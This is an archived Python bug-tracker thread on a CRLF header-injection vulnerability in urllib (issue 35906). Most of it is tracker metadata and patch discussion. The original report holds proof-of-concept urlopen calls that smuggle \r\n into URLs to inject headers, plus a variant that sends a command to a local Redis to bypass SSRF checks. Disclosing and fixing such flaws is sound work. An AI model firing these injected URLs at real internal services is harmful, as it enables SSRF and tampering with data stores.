[issue35906] Header Injection in urllib

[Ryan Ware]

Change by Ryan Ware :


--
nosy: +ware

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +orsenthil

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Change by Sihoon Lee :


--
pull_requests:  -12476

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Change by Sihoon Lee :


--
pull_requests: +12476

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Change by Sihoon Lee :


--
pull_requests: +12475

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Change by Sihoon Lee :


--
pull_requests:  -12474

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Change by Sihoon Lee :


--
pull_requests: +12474

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Sihoon Lee  added the comment:

Yes, I thought so. before the commit version i said, the previous 
version(~3.4.6), raised an exception(no host given~) in urlopen failing parsing 
host.
If this patch wants to be same as the previous version, It is right to raise an 
exception like the previous version.
I thought there is no exact answer, only depends on Python features.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Martin Panter]

Martin Panter  added the comment:

Maybe related to Victor's "Issue 1" described in Issue 32085. That is also a 
security bug about CRLF in the URL's path, but was opened before Issue 30500 
was opened and the code changed, so I'm not sure if it is the same as this or 
not.

Also there is Issue 13359, a proposal to automatically percent-encode invalid 
URLs. For a security fix, I'm not sure but it might be safer to raise an 
exception, rather than rewriting the invalid URL to a valid one.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

Sihoon Lee  added the comment:

Sorry, I'm late.
My review is here. https://github.com/python/cpython/pull/11768

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
pull_requests:  -11730

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
pull_requests:  -11731

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Stéphane Wirtel  added the comment:

Hi all,

Not sure for the right way for this fix but here is a PR. I am interested by 
your feedback.

Thank you

--
nosy: +matrixise

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
keywords: +patch
pull_requests: +11729
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
keywords: +patch, patch, patch
pull_requests: +11729, 11730, 11731
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Stéphane Wirtel]

Change by Stéphane Wirtel :


--
keywords: +patch, patch
pull_requests: +11729, 11730
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Sihoon Lee]

New submission from Sihoon Lee :

this patch can also be broken by path and query string.
http://www.cvedetails.com/cve/CVE-2016-5699/
https://bugs.python.org/issue30458

can succeed to inject HTTP header and be more critical by bypassing illegal 
header check

# Vulnerability PoC

>>> import urllib.request

>>> urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: 
>>> Value\r\nHeader2: \r\n')
or 
>>> urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: 
>>> Value\r\nHeader2: \r\n')

> nc -lv 1234
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:1234
User-Agent: Python-urllib/3.8
Connection: close

we can inject headers completely.

## Redis
redis also be affected by bypassing SSRF protection checking header "host:" 
with this injection.

>>> urllib2.urlopen('http://127.0.0.1:6379/?q=HTTP/1.1\r\nSET VULN 
>>> POC\r\nHeader2:\r\n').read()
'$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with: 
`HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning 
with: `identity`, \r\n'

$ redis-cli
127.0.0.1:6379> GET VULN
"POC"


# Root Cause
https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262

- _hostprog = re.compile('^//([^/?]*)(.*)$')
+ _hostprog = re.compile('//([^/#?]*)(.*)', re.DOTALL)

It could succeed to parse host because of re.DOTALL
re.DOTALL gave the opportunity of injection.

this version of the commit was 3.4.7+

this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it.
also, python 2.7.15 can be affected. I don't know which python2 version is 
affected because not test.

maybe after the commit, all of higher versions can trigger this vulnerability.

# Conclusion
this patch provides more critical vulnerability to bypass the illegal header 
check.
and we can inject HTTP header completely in urlopen() from this patch.

(Although this vulnerability is old on 12 Jul 2017, I don't know why no one has 
submitted issue still now XDD)

--
components: Library (Lib)
messages: 334896
nosy: push0ebp
priority: normal
severity: normal
status: open
title: Header Injection in urllib
type: security
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35906] Header Injection in urllib

[Raymond Hettinger]

Change by Raymond Hettinger :


--
nosy: +christian.heimes

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com